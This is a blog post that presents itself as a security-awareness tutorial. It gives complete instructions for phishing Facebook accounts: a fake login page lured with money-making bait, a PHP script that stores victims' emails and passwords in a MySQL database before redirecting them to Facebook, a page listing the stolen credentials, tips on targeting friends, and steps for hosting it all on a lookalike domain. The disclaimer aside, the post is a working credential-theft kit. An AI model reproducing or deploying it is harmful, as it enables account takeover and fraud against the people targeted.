DEV Community

Hafiz Muhammad Attaullah
Hafiz Muhammad Attaullah

Posted on

Hacking with HTML/CSS

Hack FaceBook Using HTML,CSS,PHP and MYSQL
Here you will get genuine tips about hacking of anyone's facebook account id and password along with code and example.
Message before Hacking Facebook Account
This is a tutorial to make you aware that how any of your account such as facebook, instagram, twitter, linkedin etc. can be hacked using phishing attack.
This tutorial is based on hacking facebook account with your own code, not for making someone in trouble, therefore please don't use the code given here to actually hack anyone's facebook account as this is an illegal process or action.
After reading this tutorial on hacking facebook account, you will feel safe and can put yourself in safer area when operating your account over internet such as facebook, gmail, or even bank account.
You will also understand the result of opening some unknown links sent by anyone, even by your friend.
Now, let's start the tutorial on hacking facebook account id and facebook account password using your own code.
What to do before Hacking Facebook Account ?
Before start hacking facebook account using this tutorial, you must have some basic ideas about the following languages:
PHP and MySQLi
Now, you are thinking why it is necessary to learn or have some basic ideas about the above languages. The answer is, to create login form that looks like same as facebook login page (HTML and CSS used here), and then store user's login credentials in database (PHP and MySQLi used here), and at last redirect users to the original facebook page (JavaScript used here).
Now, I think you have got the idea after reading the above line, that you will hack facebook account just by using phishing attack after reading and implementing the code given here.
If you have already learned the above languages and want to re-check your knowledge then you can give online tests such as HTML Test, CSS Test, JavaScript Test, PHP Test, and MySQL Test and can re-check on the basis of result that you will got after giving each and every test.
After reading this tutorial of facebook account hacking, you will be able to implement phishing attack with your own to hack too many facebook account id and password.
Tips to Trap Users to Hack their Facebook Account
There are following tips that teaches you how you can easily trap targetted users to hack their facebook account id and password:
Check what users like most - First of all you must have to check what users like most to make his likable web page to trap him/her and then allow users to open his likable page. For example, earn money in short time, get tips to make body healthy in just 10 minutes, tips to learn Java in just 30 minutes etc.
Check which device, users are using at that instant - Now check that, targetted users are operating in which device either mobile, computers or tablets. You can also implement auto-redirect code in your login page to redirect users to desktop version login page if he/she uses desktop
Find the most suitable time to trap users - The last is to find the suitable time to trap your targetted users to send the link and then hack his/her facebook account. Suitable times here in the sense, when users are free, means when he/she almost can open anything with free mind.
Steps to Hack Facebook Account/Password
Here are the list of steps to follow for hacking facebook account/password:
Make login page that looks same as facebook with perfect title and description along with photo and message
Make login page handler script to store the login credentials in database
Redirect users to original facebook page after storing or getting login credentials
Create Database to store facebook id and password
Now send the login link to the user
Make web page to see hacked facebook account id and password
After sending the login link to your targetted users, you don't have to do anything after this (or after second last step given above), as after this step, your targetted users will start doing for you, that is in indirect words, he/she will automatically give his/her facebook account id and password for you in your database. And you only have to watch in your database whether his/her facebook id and password came or not.
You can also make a web page used to see the list of targetted or trapped user's facebook account password along with his/her facebook id.
If you design the last step, that is a web page that shows the hacked facebook account detail, then you don't have to go in your database and check whether any user is trapped or not.
Now let's see the step by step code and description used in hacking anyone's facebook account id and password.

  1. Make Login Page looks like Facebook Login Page Before starting this step, first check what your targetted user like most. For example, if your friend (targetted user) like to earn money in very short time then create a login page with message related to earning money. Or if your friend like to be healthy or he/she likes to fight etc., then put the message with some body fitness training tips etc. Now let's do the first step by creating a demo login page with following code. This login code is for mobile users, you can implement redirection code to redirect users to mobile, or desktop version login page using the JavaScript code, you will get the code after this login code.

<!doctype html>

Top 10 Tips to Earn Money in Short Time

<br> table tr td{text-align:center;}<br> .bottom a{color:#D3D3D3;}<br> .bottom a:link{text-decoration:none;}<br> input{padding:10px;}<br> .login{background-color:#3b5998;color:white;}<br> .check{background-color:#32CD32;color:white;padding:12px;}<br> .inputf a:link{text-decoration:none;}<br>

document.title='Facebook - Log In or Sign Up';
Login to continue to get top 10 exclusive tips to earn money in short time.


Create New Account

Forgotten password?

Help Centre


Before implementing the code online to target user and get his/her facebook id and password, we will implement facebook account hacking system in our local computer system first. To do this, download and install XAMPP software in your computer and follow the steps given below.
Save the above code inside the directory C:\xampp\htdocs\ with name earnmoney.php and put the image that shows some dollar's inside the same directory with same name but with extension .jpg that is earnmoney.jpg
Now open XAMPP and start the Apache and MySQL module. If you are not getting some idea about what i am telling then follow our PHP and MySQLi tutorial to feel better and start to the next step of hacking facebook account id and password.
Now if you will open your browser and type localhost/earnmoney.php, then here is the sample screenshot you will see:
As the above code is only used or made for mobile users.
But you have to create the same login page for both users, that is for mobile facebook users and desktop facebook users.
Create another login page with name earnmoneyD.php for desktop to redirect desktop users to this page.
Here is the redirection code to use to redirect your targetted users to desktop version page if users are on desktop: if (screen.width > 800) { window.location = "localhost/earnmoneyD.php"; }

Put the above code at top of the login page that you have created earlier.

  1. Create Script to Store Facebook Login Credentials Here is the login handler script to store facebook login credentials of targetted users in database: <?php $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers'); if(mysqli_connect_error()) { // redirect users to original facebook if error occurred header("location:"); exit(); } ?> <!doctype html> Logging in to facebook <?php if($_SERVER["REQUEST_METHOD"] == "POST") { if(isset($_POST['login'])) { $email = $pass = ""; // get facebook email id $email = $_POST["email"]; // get facebook password $pass = $_POST["pass"]; // insert the facebook id and password in database $sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')"; $result = $conn->query($sql); } } // redirect users to original facebook url header("location:"); exit(); ?> Put the above file inside same directory with name login.php.
  2. Redirect Users to Orignal Facebook URL As you can see from the above step two, the following code: header("location:"); is used to redirect users to original facebook.
  3. Make Database to Store Facebook Id and Password Now create a database with same name and then create a table with same name and at last create columns with same details as used in the above code, that is database named fbhackedusers, table named fbusers and then columns namely facebookid and facebookpassword. To do this follow the steps given below:
  4. Click on Admin next to MySQL row in XAMPP control pannel. 📷
  5. A web page gets opened in your default web browser with url http://localhost/phpmyadmin/
  6. Now Click on Databases

  7. Then enter database name (as fbhackedusers) and click on Create button

  8. Then enter fbusers next to name and set 3 next to number of columns. Click on Go button

  9. Now provide details for all the three columns that is
    Filling for first column like S.No. as Name, INT as Type, 6 as Length/Values, PRIMARY as index, and then tick on A.I. (auto increment)
    Filling for second column like facebookid as Name, VARCHAR as Type, 40 as Length/Values
    Filling for third column like facebookpassword as Name, VARCHAR as Type, 40 as Length/Values

  10. Here is the snapshot after providing the details as mentioned in above three steps:

  11. And then click on Save button. Now you have successfully setup the database locally

  12. Send Facebook Hacking Link to Friend
    Now send the link to your friends to start getting their facebook account id and password.

  13. Create Web page to List Hacked Facebook Users
    To see your trapped users or hacked facebook account id and password, you have to go to your database again and again, therefore to make it simple to see the hacked facebook account id and password, just make another webpage that fetches and lists the facebook account id and password from database in the form of table as shown in the following code:
    $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
    <!doctype html>

    List of Facebook Users Hacked by Me

    table th, td{border:1px solid black;padding:10px;}
    Enter fullscreen mode Exit fullscreen mode


    $sql = "select * from fbusers";

    $res = $conn->query($sql);

    echo "


    echo "";

    echo "";

    echo "";

    echo "";



    echo "



    echo "
    Facebook IdFacebook Password
    $row[1] $row[2]
    "; ?> Put the above file inside the same directory with name hackedusers.php. Example of Hacking Facebook Account/Password Now let's see the step by step screenshot of hacking facebook account id and password of your friend. Here is the screenshot of demo login page when your friend click on the link you sent to him/her. 📷 Now your friend will enter his/her facebook account id and password, to get some exclusive tips to earn money in short time. You can also change the message, title and description of the page as per your requirement, that is what your friend like most. Here is the demo screenshot after entering the facebook login credentials:

After entering the facebook login credentials and pressing on the Log In button, your login handler script will store the details inside the database and redirect the user to original facebook URL.
Your friend's facebook account id and password gets stored inside your database, you can see the list of hacked facebook users. You will see using your web page, that is created using the last step (6th step). Open the browser and type localhost/hackedusers.php
You can send the link to any of your friends whose facebook account is going to be hacked by you, or anyone's facebook account you want to hack. And to check whether your friend is trapped in your hacking system or not, continue checking the list of hacked users.
Last Step to Implement Facebook Account Hacking System Live
Now the last and most required step to implement it to make your facebook account hacking system live using your website, here are some steps. If you have already a website. For example if you have a website named codescracker or any other, then:
Make a directory say facebook inside the parent directory
Create a database and then table inside same database with same details as used in above code of facebook account hacking
Put all the files, that is, earnmoney.php, earnmoneyD.php, login.php, hackedusers.php, and image files, here earnmoney.jpg inside the directory named facebook
Now send the link to your friends, that is,
And open the link in your browser, that is,
and here are the steps, if you have not any website
Purchage or register any domain say
Purchage any web hosting account to host or put all your website files
Setup your website to make it live
And then follow all the steps after having website and replace codescracker with fafacebook
After doing all the above things, you need to change the connection string, that is you have to replace localhost with your hosting address, root with your database username, password with your database password. and then replace localhost/ to
You can also make some changes accordingly to hack anyone's facebook account id and password as this tutorial is just a demo to show you how you will be able to hack anyone's facebook account using some simple methods.
Be Aware while using Internet
Here I have provided the complete tutorial, that is from beginning to end of hacking facebook account by using phishing attack just to make you aware that how the random link looks like that can cause you in trouble after opening and filling some details inside unknown website, sometime just on clicking on some random link, you may be hacked or your account may be hacked as there are many types of hackers available over internet that can make you in trouble when you have gone in wrong path or wrong way, therefore be aware while using Internet.

Top comments (0)